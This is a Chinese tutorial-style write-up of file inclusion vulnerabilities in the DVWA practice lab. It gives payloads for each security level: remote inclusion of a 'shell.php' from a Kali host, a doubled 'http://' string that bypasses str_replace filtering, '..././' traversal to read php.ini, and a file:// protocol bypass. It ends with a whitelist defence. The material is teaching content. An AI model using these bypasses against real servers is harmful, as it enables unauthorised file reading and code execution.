File Inclusion, 意思是文件包含(漏洞),是指当服务器开启allow_ ur_ include选项时,就可以通过php的某些特性函数(include(), require()和include_ once(), require_ once()) 利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_ url fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
原理:开发者把可重复使用的函数写入到单个文件中,在需要使用该函数时,直接调用该文件,输入一段客户可以操控的恶意脚本或者代码,让服务端去执行。
1、低级
(1)、本地文件包含:创建一个在D盘下的key.txt文件输入内容:小云飞走罗,然后更改url中的page内容为D:\\key.txt
(2)、远程文件包含
输入ifconfig
输入 service apache2 start(启动)
输入service apache2 status(查看active是否开启)
输入sudo apt-get update (进行安装gedit)
输入sudo apt-get install gedit-gmate
输入sudo apt-get install gedit-plugins
输入sudo apt-get remove gedit
输入sudo apt-get install gedit
输入gedit /var/www/html/shell.php
在shell中输入
<?php
echo "wo shi xiao yun yun";
?>
在kali中火狐浏览器打开http://192.168.56.128/shell.php
打开
在本机上page=http://192.168.56.128/shell.php
2、中级(使用str_ replace()函数将http:// https:// ../ ..\ 替换成空字符)
(1)、远程文件包含
page=hthttp://tp://ip/ phpinfo.txtit时, str_ replace函数是极其不安全的,可以使用双写绕过替换规则
(2)、本地文件包含
http://ip/ dvwa/vulnerabilities/fi/page=..././..././..././..././xampp/htdocs/dvwa/php.ini,跳过四级目录
3、高级(利用file伪协议文件包含绕过)
包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。
http://127.0.0.1/script. php?page=file://E: \phpstudy\ \PHPTutorial \ \WWW\ \flag. txt
将key文件内容更改为以下这个,即可运行PHP文件
<?php
phpinfo();
?>
至于代码执行,需要配合文件上传漏洞利用。首先需要.上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意代码执行
4、impossible(代码基于白名单进行验证)
基于白名单进行防御,确保page参数传递的只能是固定的文件名